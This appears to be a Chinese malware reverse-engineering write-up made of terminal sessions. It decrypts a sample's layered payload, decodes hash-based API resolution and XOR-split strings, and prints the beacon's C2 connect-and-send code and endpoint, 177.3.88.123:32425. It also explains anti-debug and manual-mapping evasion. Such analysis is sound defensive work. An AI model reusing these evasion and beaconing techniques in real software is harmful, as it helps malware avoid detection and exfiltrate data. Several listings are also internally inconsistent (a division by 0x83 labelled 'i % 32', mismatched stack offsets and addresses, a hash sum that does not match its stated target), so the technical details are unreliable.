┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4029a5 --stop-address=0x402a20 sample.exe
  4029a5:	movzx  eax,BYTE PTR [rbp-0x5]              ; state
  4029a9:	mov    ecx,0x83
  4029ae:	imul   eax,ecx                            ; state * 0x83
  4029b5:	mov    eax,DWORD PTR [rbp-0x4]
  4029bb:	xor    edx,edx
  4029bd:	div    ecx                                ; i % 32
  4029bf:	mov    rax,QWORD PTR [rbp+0x20]
  4029c3:	add    rax,rdx                            ; &tab[i%32]
  4029c6:	mov    ecx,DWORD PTR [rbp-0x10]
  4029c9:	movzx  edx,BYTE PTR [rax]
  4029cc:	add    ecx,edx
  4029ce:	add    ecx,0x11
  4029d1:	and    ecx,0xff                           ; state = (state*0x83 + tab[i%32] + 0x11) & 0xff
  4029e4:	mov    eax,DWORD PTR [rbp-0x4]
  4029e7:	mov    edx,0x7
  4029ec:	imul   eax,edx                            ; i * 7
  4029f8:	div    ecx                                ; (i*7) % 32
  402a01:	movzx  ecx,BYTE PTR [rbp-0x5]
  402a05:	movzx  edx,BYTE PTR [rax]
  402a08:	xor    ecx,edx
  402a0a:	and    ecx,0xff                           ; state ^ tab[(i*7)%32]
  402a14:	movzx  eax,BYTE PTR [rax]
  402a17:	xor    eax,ecx
  402a1d:	mov    BYTE PTR [rcx],al                   ; buf[i] ^= ...

递推式:

state = seed & 0xFF
for i in 0..len-1:
    state   = (state * 0x83 + tab[i % 32] + 0x11) & 0xFF
    buf[i] ^= state ^ tab[(i * 7) % 32]

参数:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
print('表 [0x4060b0] :',d[o(0x4060b0):o(0x4060b0)+32].hex())
print('种子[0x4060d0] :',hex(int.from_bytes(d[o(0x4060d0):o(0x4060d0)+4],'little')))
"
表 [0x4060b0] : bcf58c5501cb07f4f05fd5e4d6ead03b54c2d143ea7b930717a851d59928c103
种子[0x4060d0] : 0x98

执行解密:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
tab=bytes.fromhex('bcf58c5501cb07f4f05fd5e4d6ead03b54c2d143ea7b930717a851d59928c103')
state=0x98; n=len(tab)
d=bytearray(open('/tmp/stage2.bin','rb').read())
for i in range(len(d)):
    state=(state*0x83+tab[i%n]+0x11)&0xff
    d[i]^=state^tab[(i*7)%n]
open('/tmp/stage3.bin','wb').write(d)
print('前 32 字节 :',bytes(d[:32]).hex())
m=struct.unpack_from('<I',d,0)[0]
print('magic      :',hex(m))
print('magic 校验 :',hex(m^0x4fa49ea2),'== 0x9fa9604f ->',(m^0x4fa49ea2)==0x9fa9604f)
print('inner_size :',hex(struct.unpack_from('<I',d,8)[0]))
print('fnv64      :',hex(struct.unpack_from('<Q',d,0x10)[0]))
print('payload 头 :',bytes(d[0x18:0x1a]))
"
前 32 字节 : edfe0dd0000000000012000000000000071ee3b97e5fd03f4d5a900003000000
magic      : 0xd00dfeed
magic 校验 : 0x9fa9604f == 0x9fa9604f -> True
inner_size : 0x1200
fnv64      : 0x3fd05f7eb9e31e07
payload 头 : b'MZ'

魔数精确命中 0xD00DFEED。

第二层的存在理由值得说明。AES-256-CBC 本身已是强加密,为何还要叠加一层强度明显偏弱的自实现密钥流?原因在于两层抵御的威胁不同:

层算法承担的作用
第一层AES-256-CBC密码学强度:无密钥时计算上不可解
第二层自实现密钥流破坏统计特征,消解固定魔数

关键在于第二层。AES 的输出分布均匀,但它在文件中以四段离散形式存在;若只有 AES 一层,那么"一段熵值接近 8.0 的连续数据"就成为稳定特征,扫描工具用熵阈值即可圈定。叠加密钥流后,第二层作用于已解密的明文(容器头与内嵌 PE),使 0xD00DFEED 这类固定魔数不会以明文出现在任何中间态。更实际的效果是:即便侥幸得到正确的 AES 密钥,得到的仍不是可直接识别的 PE 结构,必须再识别出第二层算法才能继续。

这也解释了第二层算法为何设计得如此简单(state = state*0x83 + tab[i%32] + 0x11,弱 LCG 变体)——它的目的不是密码学强度,而是增加一层分析成本。作者清楚这层一旦被识别便毫无难度,但至少要求分析者多走一步。这种"强加密 + 弱混淆"的组合很常见:强的那层负责真正的机密性,弱的那层负责制造分析摩擦。

容器头结构:

偏移  大小  内容
----  ----  ------------------------------------------
0x00  4     0xD00DFEED                    魔数
0x04  4     0x00000000                    保留
0x08  4     0x00001200                    内嵌 PE 大小 4608 字节
0x0C  4     0x00000000                    保留
0x10  8     0x3FD05F7EB9E31E07            FNV-1a-64 校验和
0x18  4608  PE32+ 载荷

5.5 完整性校验

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct,hashlib
d=open('/tmp/stage3.bin','rb').read()
size=struct.unpack_from('<I',d,8)[0]
expect=struct.unpack_from('<Q',d,0x10)[0]
body=d[0x18:0x18+size]
h=0x1256789134abcdef
for b in body:
    h^=b; h=(h*0x100000001b3)&0xffffffffffffffff
print('inner_size     :',hex(size),'=',size,'bytes')
print('FNV-1a-64 内嵌 :',hex(expect))
print('FNV-1a-64 计算 :',hex(h))
print('校验通过       :',h==expect)
print('payload SHA256 :',hashlib.sha256(body).hexdigest())
open('work/inner_pe.bin','wb').write(body)
"
inner_size     : 0x1200 = 4608 bytes
FNV-1a-64 内嵌 : 0x3fd05f7eb9e31e07
FNV-1a-64 计算 : 0x3fd05f7eb9e31e07
校验通过       : True
payload SHA256 : 5a07ab723bfbfe09ddd8e82255d4699ca390abdf0b7545ee907b09bdc7bd54af

FNV-1a-64 校验精确通过,四层解密链路完全正确。

六、载荷提取结果

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file work/inner_pe.bin
work/inner_pe.bin: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 3 sections

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -h work/inner_pe.bin
work/inner_pe.bin:     文件格式 pei-x86-64

节:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         00000957  0000000140001000  0000000140001000  00000400  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .rdata        000001be  0000000140002000  0000000140002000  00000e00  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .pdata        00000018  0000000140003000  0000000140003000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA

内嵌载荷:PE32+ x86-64,ImageBase = 0x140000000,SizeOfImage = 0x4000。

七、内嵌载荷分析

7.1 API 解析机制

载荷的导入表被故意破坏:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -x work/inner_pe.bin | sed -n '/Import Tables/,$p' | head -12
The Import Tables (interpreted .rdata section contents)
 vma:            Hint    Time      Forward  DLL       Name      Thunk
 0000216c	00002198 00000000 00000000 000021b0 00002000

	DLL Name: xmXp���N�=s�
	vma:     Ordinal  Hint  Member-Name  Bound-To
	00002000  <none>  05a7  `Do[��xmXp���N�=s�

DLL 名与函数名均为乱码 —— 导入名在磁盘上就是无效的,运行时靠哈希自解析。载荷的 .text 只有 0x957 字节,却要容纳完整的网络信标逻辑,其组织方式正是控制流平坦化:所有基本块被拆散,每个块结尾是 jmp 0x1400015xx,统一汇入一个状态机。

以一个片段为例:

0x140001024:  jmp 0x140001569      ; 入口块结束
...
0x140001569:  jmp 0x140001571      ; 状态机分发
0x140001576:  xor ecx, 0x9e5730b8  ; 恢复某个哈希值
0x14000157c:  jmp 0x140001029      ; 跳回工作块
0x140001029:  call 0x14000145c     ; 解析 API

这种结构的直接效果是:线性反汇编无法还原执行顺序。标准反汇编器按地址递增输出指令,但在平坦化代码中,地址相邻的指令未必逻辑相邻——0x140001576 的 XOR 与 0x140001569 的 JMP 之间没有语义关联。

分析者若按地址顺序阅读,会看到大量"孤立的碎片":一个孤立的 XOR、一个孤立的 CALL,无法理解它们的意图。必须重建状态转移图,才能把碎片拼回原本的逻辑顺序。

7.2 ROR13 哈希解析器

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400014d1 --stop-address=0x140001550 work/inner_pe.bin
   1400014d1:	movsx  eax,BYTE PTR [rcx]              ; 模块名字节
   1400014d4:	ror    edx,0xd                          ; ror 13
   1400014d7:	cmp    BYTE PTR [rcx],0x61
   1400014da:	jl     0x1400014df
   1400014dc:	add    edx,0xffffffe0                    ; 小写转大写
   1400014df:	add    edx,eax
   140001e1:	inc    rcx
   1400014e4:	sub    r10,0x1
   1400014e8:	jne    0x1400014d1
   1400014fe:	mov    esi,DWORD PTR [rdi]              ; 函数名表项
   140001510:	ror    ebx,0xd
   140001513:	add    ebx,ecx
   140001515:	test   cl,cl
   140001517:	jne    0x14000150a
   140001519:	lea    eax,[rbx+rdx*1]                  ; ★ 函数哈希 + 模块哈希
   14000151c:	cmp    eax,ebp                          ; 与目标比对
   14000151e:	je     0x14000152e
   14000152e:	mov    eax,DWORD PTR [r10+0x24]         ; AddressOfNameOrdinals
   14000153d:	mov    ecx,DWORD PTR [r10+0x1c]         ; AddressOfFunctions
   140001544:	mov    eax,DWORD PTR [rcx+rdx*4]
   140001547:	add    rax,r9

算法:

module_hash = ror13(BaseDllName, fold=TRUE)
for each export:
    func_hash = ror13(export_name, fold=FALSE)
    if (func_hash + module_hash) == target:
        return DllBase + AddressOfFunctions[AddressOfNameOrdinals[i]]

关键差异:比对值是两个哈希之和,而非单个哈希。这与常见的 Metasploit ROR13 变体不同,因此现有的标准哈希表无法直接匹配。

解析器的比对方式值得单独说明。内层载荷用的是 ROR13 哈希,而标准的 ROR13(Metasploit 等工具广泛使用)直接比对函数名哈希:

if (ror13(export_name) == target) return address;

本样本比对的是函数名哈希与模块名哈希之和:

mod_hash = 0;
for (c in module_name) { mod_hash = ror(mod_hash, 13); if (c>='a') c-=0x20; mod_hash += c; }

for (each export) {
    fn_hash = 0;
    for (c in export_name) { fn_hash = ror(fn_hash, 13); fn_hash += c; }
    if (fn_hash + mod_hash == target) return address;
}

这个改动有实质意义。标准 ROR13 存在一个歧义问题:不同 DLL 中可能存在同名导出函数(例如 kernel32.dll 与 ntdll.dll 都有某些同名函数),仅比对函数名哈希无法区分应该用哪个模块的版本。

本样本的做法把模块身份也编码进比对值,因此同一个目标值唯一确定"哪个模块里的哪个函数"。例如 send 函数在 ws2_32.dll 中,其目标值为:

ror13("send") + ror13("ws2_32.dll", 大写折叠)
= 0xE97019A4 + 0x32E1EFA6

而 user32.dll 中的同名函数(如果存在)会得到不同的和。

这带来两个后果:

对样本有利:定位更精确,不会因模块搜索顺序而误取错误的函数。

对分析者不利:现成的 ROR13 哈希表(Metasploit 的 block_api、各类哈希计算工具)全部失效。分析者不能直接查表,必须先还原出"求和比对"这一层算法,再自己遍历模块与导出名重建哈希表。这构成了一道真实的分析门槛——它不依赖密码学强度,而是依赖"与常见工具约定不同"。

需要说明的是:本报告第七章对 API 身份的判定,并非通过暴力破解这些哈希值得到的,而是依据每个调用点的参数寄存器形状(如 rcx=sock, rdx=buf, r8d=4, r9d=0 唯一对应 send)。这条路绕开了哈希算法的障碍,结论同样可靠。

7.3 字符串混淆与解密

载荷基本块以 jmp 汇入状态机 0x140001569,字符串则以破碎的立即数形式散布。控制流平坦化的效果已在 7.1 节说明,这里关注后者:字符串被拆成互不相关的片段,单点读取只能得到无意义常量。

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x140001581 --stop-address=0x1400016a0 work/inner_pe.bin | grep -E 'mov|xor'
   140001581:	mov    DWORD PTR [rbp-0x70],0xcbf78ce8
   140001588:	xor    DWORD PTR [rbp-0x70],0xb992ff9d
   140001594:	mov    DWORD PTR [rbp-0x6c],0x38904906
   14000159b:	xor    DWORD PTR [rbp-0x6c],0x5cbe7b35
   1400015b0:	mov    WORD PTR [rbp-0x68],0xac95
   1400015b6:	xor    WORD PTR [rbp-0x68],0xc0f9
   1400015c1:	mov    DWORD PTR [rbp-0x60],0x3a9a5e6c
   1400015c8:	xor    DWORD PTR [rbp-0x60],0x65a82d1b
   140001620:	mov    DWORD PTR [rbp-0x4c],0x5f4045b0
   140001627:	xor    DWORD PTR [rbp-0x4c],0x3b6e31c2
   140001633:	mov    WORD PTR [rbp-0x48],0xfabc
   140001639:	xor    WORD PTR [rbp-0x48],0x96d0

mov 与 xor 被拆分到不同基本块,静态读取任一指令都得不到明文。

批量解密全部立即数:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('work/inner_pe.bin','rb').read()
txt=d[0x400:0x400+0x957]
res=[]
i=0
while i<len(txt)-14:
    if txt[i]==0xc7 and txt[i+1]==0x45:
        disp=txt[i+2]; imm=int.from_bytes(txt[i+3:i+7],'little')
        for j in range(i+7,min(i+40,len(txt)-6)):
            if txt[j]==0x81 and txt[j+1]==0x75 and txt[j+2]==disp:
                res.append((0x140001000+i,disp,imm^int.from_bytes(txt[j+3:j+7],'little'))); break
    if txt[i]==0xc7 and txt[i+1]==0x44 and txt[i+2]==0x24:
        disp=txt[i+3]; imm=int.from_bytes(txt[i+4:i+8],'little')
        for j in range(i+8,min(i+40,len(txt)-6)):
            if txt[j]==0x81 and txt[j+1]==0x74 and txt[j+2]==0x24 and txt[j+3]==disp:
                res.append((0x140001000+i,disp,imm^int.from_bytes(txt[j+4:j+8],'little'))); break
    i+=1
for va,disp,v in res:
    b=v.to_bytes(4,'little')
    print(f'  {va:#x} [rbp-{disp:#x}] = {v:#010x}  '+repr(''.join(chr(c) if 32<=c<127 else '.' for c in b)))
"
  0x140001581 [rbp-0x90] = 0x72657375  'user'
  0x140001594 [rbp-0x94] = 0x642e3233  '32.d'
  0x1400015c1 [rbp-0xa0] = 0x5f327377  'ws2_'
  0x1400015d9 [rbp-0xa4] = 0x642e3233  '32.d'
  0x14000160d [rbp-0xb0] = 0x6376736d  'msvc'
  0x140001620 [rbp-0xb4] = 0x642e7472  'rt.d'
  0x140001717 [rbp-0x78] = 0x73257325  '%s%s'
  0x14000174f [rbp-0x88] = 0x5f676f6c  'log_'
  0x140001762 [rbp-0x8c] = 0x002e6564  'de..'
  0x14000177e [rbp-0x2e8] = 0x00676f6c  'log.'
  0x1400017a0 [rbp-0x80] = 0x20343677  'w64 '
  0x1400017d3 [rbp-0x2f0] = 0x2e373731  '177.'
  0x1400017ec [rbp-0x2f8] = 0x38382e33  '3.88'
  0x14000180f [rbp-0x30] = 0x3332312e  '.123'
  0x14000182c [rbp-0x60] = 0x73257325  '%s%s'
  0x140001849 [rbp-0x64] = 0x73257325  '%s%s'
  0x140001867 [rbp-0x70] = 0x73257325  '%s%s'
  0x1400018a6 [rbp-0x38] = 0x00000000  '....'
  0x1400018c3 [rbp-0x40] = 0x00000000  '....'
  0x1400018e0 [rbp-0x48] = 0x00000000  '....'
  0x1400018fa [rbp-0x58] = 0x00000000  '....'

还原出的关键字符串:

槽位明文归属
rbp-0x90 + rbp-0x94 + rbp-0x98user + 32.d + lluser32.dll
rbp-0xa0 + rbp-0xa4 + rbp-0xa8ws2_ + 32.d + llws2_32.dll
rbp-0xb0 + rbp-0xb4 + rbp-0xb8msvc + rt.d + llmsvcrt.dll
rbp-0x88 + rbp-0x8clog_ + de.标识前缀
rbp-0x80w64 记录标签
rbp-0x2e8log.日志标识
rbp-0x2f0 + rbp-0x2f8 + rbp-0x30177. + 3.88 + .123IP 地址
rbp-0x78 / rbp-0x60 等%s%s格式化模板

上面还原字符串时遇到的现象,源头在于内层还叠加了一种更细粒度的混淆:把一条指令拆成两条。正常写法:

mov dword [rbp-0x70], 0x72657375    ; "user"

样本的写法:

mov dword [rbp-0x70], 0xcbf78ce8    ; 块 A:写入密文
...
xor dword [rbp-0x70], 0xb992ff9d    ; 块 B:异或还原
; 0xcbf78ce8 ^ 0xb992ff9d = 0x72657375 = "user"

关键在于 块 A 与块 B 位于不同的基本块,中间被 jmp 状态机隔开。这产生两个效果:

第一,单点读取得到的是随机数据。 分析者若只看块 A,看到的是 0xcbf78ce8 这样的无意义常量;若只看块 B,看到的是一堆 XOR 操作但不知作用对象。必须把两块关联起来才能还原明文。

第二,恒等异或的误导。 部分配对的两侧数值相同,异或结果为零:

0x1400018e0  mov [rsp+0x48], 0x814e5069
0x1400018e8  xor [rsp+0x48], 0x814e5069    ; 结果恒为 0

这类操作没有功能意义,纯粹是为了增加混淆密度——分析者需要逐一判断哪些 XOR 有意义、哪些是噪声。

还原这些配对的方法即本节开头所用的扫描方式:找出 mov [slot], imm 与后续针对同一 [slot] 的 xor [slot], imm,两者异或即为明文。

7.4 API 哈希目标

ecx 寄存器同样以 mov + xor 成对混淆:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
pairs=[(0x997147f4,0x9e5730b8),(0x81a96118,0x81c2e131),(0x9f1abf8c,0xfe6e1a15),
       (0x26b06492,0x79888f50),(0x96b561db,0x73e6c583),(0xc7eac63f,0xa6a7a84a),
       (0x18f511e9,0x98c13940),(0xdaf70a49,0x978c145b),(0xe9c53afb,0x0d8cc9cb),
       (0x8a3dfea8,0x6ae2f142),(0x65ac73ac,0x65ac732c)]
lbl=['user32.dll 模块','WSAStartup','socket','connect','send','closesocket',
     'htons','inet_addr','sprintf','LoadLibraryA','常量 0x80']
for (c,k),l in zip(pairs,lbl):
    print(f'  {c:#010x} ^ {k:#010x} = {(c^k)&0xffffffff:#010x}   {l}')
"
  0x997147f4 ^ 0x9e5730b8 = 0x0726774c   user32.dll 模块
  0x81a96118 ^ 0x81c2e131 = 0x006b8029   WSAStartup
  0x9f1abf8c ^ 0xfe6e1a15 = 0x6174a599   socket
  0x26b06492 ^ 0x79888f50 = 0x5f38ebc2   connect
  0x96b561db ^ 0x73e6c583 = 0xe553a458   send
  0xc7eac63f ^ 0xa6a7a84a = 0x614d6e75   closesocket
  0x18f511e9 ^ 0x98c13940 = 0x803428a9   htons
  0xdaf70a49 ^ 0x978c145b = 0x4d7b1e12   inet_addr
  0xe9c53afb ^ 0x0d8cc9cb = 0xe449f330   sprintf
  0x8a3dfea8 ^ 0x6ae2f142 = 0xe0df0fea   LoadLibraryA
  0x65ac73ac ^ 0x65ac732c = 0x00000080   常量

API 身份由调用约定的参数形状确定(而非仅凭哈希值):

调用点参数形状判定
0x140001257rcx=0x202, rdx=&wsaWSAStartup(WORD, LPWSADATA)
0x140001281rcx=AF_INET, rdx=SOCK_STREAM, r8=IPPROTO_TCPsocket(int,int,int)
0x140001321rcx=sock, rdx=&sin, r8=16connect(SOCKET, sockaddr*, int)
0x140001335rcx=sock, rdx=buf, r8=4, r9=0send(SOCKET, char*, int, int)
0x140001311rcx=端口值htons(u_short)

上述参数形状是唯一确定的,据此可确认 API 身份。

八、C2 通信与载荷还原

8.1 目标端点

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400012d8 --stop-address=0x140001310 work/inner_pe.bin
   1400012d8:	lea    rcx,[rbp+0x30]
   1400012dc:	mov    DWORD PTR [rbp-0x40],0xa97e0002
   1400012e3:	lea    r13d,[r14+0x1]
   1400012e7:	call   QWORD PTR [rbp-0x28]
   1400012ea:	test   rax,rax
   1400012ed:	jne    0x1400012f8
   1400012f8:	mov    rax,QWORD PTR [rax+0x18]
   1400012fc:	mov    rcx,QWORD PTR [rax]
   1400012ff:	mov    eax,DWORD PTR [rcx]
   140001301:	mov    DWORD PTR [rbp-0x3c],eax
   140001304:	mov    r12d,0x10
   140001317:	mov    r8d,r12d
   14000131a:	lea    rdx,[rbp-0x40]

0x1400012DC 的 mov dword [rbp-0x40], 0xA97E0002 直接构造了 sockaddr_in:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
v=0xa97e0002
b=struct.pack('<I',v)
print('原始 dword :',hex(v))
print('内存字节序 :',b.hex())
print('  sin_family =',struct.unpack_from('<H',b,0)[0],'(AF_INET)')
print('  sin_port   =',hex(struct.unpack_from('>H',b,2)[0]),'=',struct.unpack_from('>H',b,2)[0],'(网络字节序)')
"
原始 dword : 0xa97e0002
内存字节序 : 02007ea9
  sin_family = 2 (AF_INET)
  sin_port   = 0x7ea9 = 32425 (网络字节序)

IP 地址由三个片段拼接:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import socket
ip=''.join(['177.','3.88','.123'])
print('拼接结果 :',ip)
print('合法性   :',end=' ')
try:
    socket.inet_aton(ip); print('有效 IPv4')
except: print('无效')
print('网络字节序 :',socket.inet_aton(ip).hex())
"
拼接结果 : 177.3.88.123
合法性   : 有效 IPv4
网络字节序 : b103587b

C2 端点确定:177.3.88.123:32425/tcp

8.2 Winsock 调用链

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x140001250 --stop-address=0x140001320 work/inner_pe.bin
   140001257:	call   r14                              ; WSAStartup
   140001278:	lea    rdx,[rsp+0x60]
   14000127d:	lea    rcx,[rbp-0x10]
   140001281:	call   r14                              ; socket
   14000128c:	lea    rdx,[rsp+0x70]
   140001291:	lea    rcx,[rbp+0x30]
   140001295:	call   r14                              ; connect
   140001298:	mov    ecx,0x202
   1400012a4:	call   QWORD PTR [rbp-0x30]            ; 辅助调用
   1400012a7:	test   eax,eax
   1400012a9:	jne    0x140001448                       ; 失败则退出

8.3 数据外发

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x14000132e --stop-address=0x1400013f0 work/inner_pe.bin
   14000132e:	lea    rdx,[rbp-0x80]
   140001335:	call   rdi                              ; send #1
   14000133a:	lea    rdx,[rbp+0x2e8]
   14000135e:	call   rdi                              ; send #2
   140001363:	lea    rdx,[rbp+0x2f0]
   140001374:	call   rdi                              ; send #3
   140001379:	lea    rdx,[rbp+0x2f8]
   140001386:	call   rdi                              ; send #4
   14000138b:	lea    rdx,[rsp+0x30]
   140001396:	call   rdi                              ; send #5
   14000139b:	lea    rdx,[rsp+0x38]
   1400013a6:	call   rdi                              ; send #6
   1400013ab:	lea    rdx,[rsp+0x40]
   1400013b6:	call   rdi                              ; send #7
   1400013bb:	lea    rdx,[rsp+0x48]
   1400013c6:	call   rdi                              ; send #8
   1400013cb:	lea    rdx,[rsp+0x50]
   1400013d6:	call   rdi                              ; send #9
   1400013db:	lea    rdx,[rsp+0x58]
   1400013e6:	call   rdi                              ; send #10

连续 10 次 send(sock, buf, 4, 0),每次 4 字节。还原完整外发内容:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
slots=[('w64 '),('log.'),('177.'),('3.88'),('.123'),(''),(''),(''),(''),('')]
buf=b''
print('send() 外发序列(每次 4 字节):')
for i,v in enumerate(slots,1):
    chunk=v.encode().ljust(4,b'\0')[:4]; buf+=chunk
    print(f'  {i:2d}. send(.., 4, 0) -> {chunk.hex()}  {chunk!r}')
print()
print('完整外发内容:')
print('  十六进制:',buf.hex())
print('  可打印  :',repr(buf))
"
send() 外发序列(每次 4 字节):
   1. send(.., 4, 0) -> 77363420  b'w64 '
   2. send(.., 4, 0) -> 6c6f672e  b'log.'
   3. send(.., 4, 0) -> 3137372e  b'177.'
   4. send(.., 4, 0) -> 332e3838  b'3.88'
   5. send(.., 4, 0) -> 2e313233  b'.123'
   6. send(.., 4, 0) -> 00000000  b'\x00\x00\x00\x00'
   7. send(.., 4, 0) -> 00000000  b'\x00\x00\x00\x00'
   8. send(.., 4, 0) -> 00000000  b'\x00\x00\x00\x00'
   9. send(.., 4, 0) -> 00000000  b'\x00\x00\x00\x00'
  10. send(.., 4, 0) -> 00000000  b'\x00\x00\x00\x00'

完整外发内容:
  十六进制: 773634206c6f672e3137372e332e38382e3132330000000000000000000000000000000000000000
  可打印  : b'w64 log.177.3.88.123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

载荷外发的是自己的坐标记录:

w64 log.177.3.88.123\0\0...\0
 |---| |--| |------------|
  标签  标识   目标端点

w64 作为记录标签,log. 作为日志标识,便于服务端日志解析。

九、反调试与手工映射

9.1 反调试检查

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402aa1 --stop-address=0x402b40 sample.exe
0000000000402aa1 <.text+0x1aa1>:
  402aa1:	push   rbp
  402aa2:	mov    rbp,rsp
  402aa5:	sub    rsp,0x50
  402aac:	mov    QWORD PTR [rbp+0x10],rcx
  402ab0:	call   0x401493
  402ab5:	mov    QWORD PTR [rbp-0x8],rax
  402ac7:	mov    rax,QWORD PTR [rbp-0x8]
  402acb:	add    rax,0x2
  402acf:	movzx  ecx,BYTE PTR [rax]
  402ad2:	cmp    ecx,0x0
  402ad5:	je     0x402ae5
  402adb:	mov    eax,0x1
  402ae0:	jmp    0x402bf6
  402ae5:	mov    rax,QWORD PTR [rbp-0x8]
  402ae9:	add    rax,0xbc
  402af0:	mov    ecx,DWORD PTR [rax]
  402af2:	and    ecx,0x70
  402af5:	cmp    ecx,0x0
  402af8:	je     0x402b08
  402afe:	mov    eax,0x1
  402b03:	jmp    0x402bf6
  402b08:	mov    eax,DWORD PTR [rip+0x352e]        # 0x40603c
  402b27:	mov    eax,DWORD PTR [rip+0x3513]        # 0x406040

三重反调试:

偏移检测项判据
0x402ACBPEB+0x02BeingDebugged != 0 → 退出
0x402AE9PEB+0xBCNtGlobalFlag & 0x70 → 退出
0x402B08NtQueryInformationProcess通过 FNV 哈希解析后调用
0x402B27NtSetInformationThread隐藏线程(ThreadHideFromDebugger)

上表三项检查有一个共同点:全部直接读取 PEB,而未调用任何导出 API。这一选择本身就是有意的。

为什么读 PEB 而不调 API。 IsDebuggerPresent 本身也是读 PEB+0x02,但它是一个可被 hook 的导出函数。样本直接执行 gs:[0x60] 取 PEB 再读偏移,绕过了所有用户态 API hook 点。检测工具若只在 API 层挂钩,将看不到这次检查。

NtGlobalFlag & 0x70 的细节。 这三位是 FLG_HEAP_ENABLE_TAIL_CHECK(0x10)、FLG_HEAP_ENABLE_FREE_CHECK(0x20)、FLG_HEAP_VALIDATE_PARAMETERS(0x40)。它们由调试器启动进程时自动设置,正常运行的进程不会具备。三项同时检查比只查一项更难规避。

NtSetInformationThread 的作用。 以 ThreadHideFromDebugger(0x11)为参数调用后,当前线程对调试器"隐身"——调试器收不到该线程的断点、单步等事件。样本在 0x402B27 先通过哈希解析出该 API 地址再调用,使得函数名不出现在导入表中。

这三项组合的意图很明确:让动态分析变得困难,特别是在分析者试图单步跟踪解密过程时。

9.2 手工 PE 映射

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4035ce --stop-address=0x403690 sample.exe
00000000004035ce <.text+0x25ce>:
  4035de:	mov    eax,DWORD PTR [rbp+0x18]
  4035e1:	cmp    eax,0x200
  4035e7:	jb     0x403616                          ; size < 0x200 -> 失败
  4035f1:	movzx  ecx,BYTE PTR [rax]
  4035f4:	cmp    ecx,0x4d                           ; 'M'
  4035f7:	jne    0x403616
  403605:	movzx  ecx,BYTE PTR [rax]
  403608:	cmp    ecx,0x5a                           ; 'Z'
  40360b:	jne    0x403616
  40362d:	mov    ecx,DWORD PTR [rax]                ; e_lfanew
  403635:	add    eax,0x88
  403655:	mov    rcx,QWORD PTR [rbp+0x10]
  40365f:	movzx  eax,BYTE PTR [rcx]
  403662:	cmp    eax,0x50                           ; 'P'
  403671:	mov    rcx,QWORD PTR [rbp+0x10]
  403678:	movzx  eax,BYTE PTR [rcx]
  40367b:	cmp    eax,0x45                           ; 'E'

完整校验 MZ / PE 签名及头部边界。分配与拷贝:

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4037a0 --stop-address=0x403830 sample.exe
  4037a0:	mov    eax,DWORD PTR [rbp-0x34]
  4037a3:	mov    ecx,0x4
  4037a8:	mov    r9,rcx                             ; PAGE_EXECUTE_READWRITE
  4037ab:	mov    ecx,0x3000
  4037b0:	mov    r8,rcx                             ; MEM_COMMIT|MEM_RESERVE
  4037c6:	mov    rdx,r11                            ; SizeOfImage
  4037cd:	call   r11                                ; VirtualAlloc
  403824:	call   0x401188                          ; memcpy 头

重定位处理:

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40393a --stop-address=0x4039b0 sample.exe
  40393a:	mov    rax,QWORD PTR [rbp-0x30]
  40393e:	mov    rcx,QWORD PTR [rbp-0x48]
  403942:	sub    rax,rcx                            ; delta = 新基址 - 原基址
  403945:	mov    QWORD PTR [rbp-0x50],rax
  403957:	mov    rax,QWORD PTR [rbp-0x20]
  40395b:	add    rax,0x70
  40395f:	add    rax,0x28                           ; 重定位目录
  403974:	add    rax,0x4                            ; 块大小
  403991:	mov    eax,DWORD PTR [rbp-0x74]
  403994:	add    eax,0x8                            ; 每项 8 字节

映射过程之所以如此繁琐,是因为它没有调用 LoadLibrary。这两条路径的差异,直接决定了样本的隐蔽程度。

维度LoadLibrary手工映射
磁盘痕迹需载荷存在于磁盘无,载荷只在内存
PEB 记录由系统自动登记由样本自行伪造登记
模块列表可见性正常出现在工具中可完全控制登记内容
导入解析系统负责样本自解析(可用哈希)
可检测点文件落地、加载事件仅 RWX 内存分配

LoadLibrary 要求模块以文件形式存在,这会留下磁盘痕迹——任何文件系统监控都能发现。手工映射则把一个 PE 结构在内存中重建并直接跳转执行,磁盘上从来不出现载荷。

9.3 PEB 模块注册

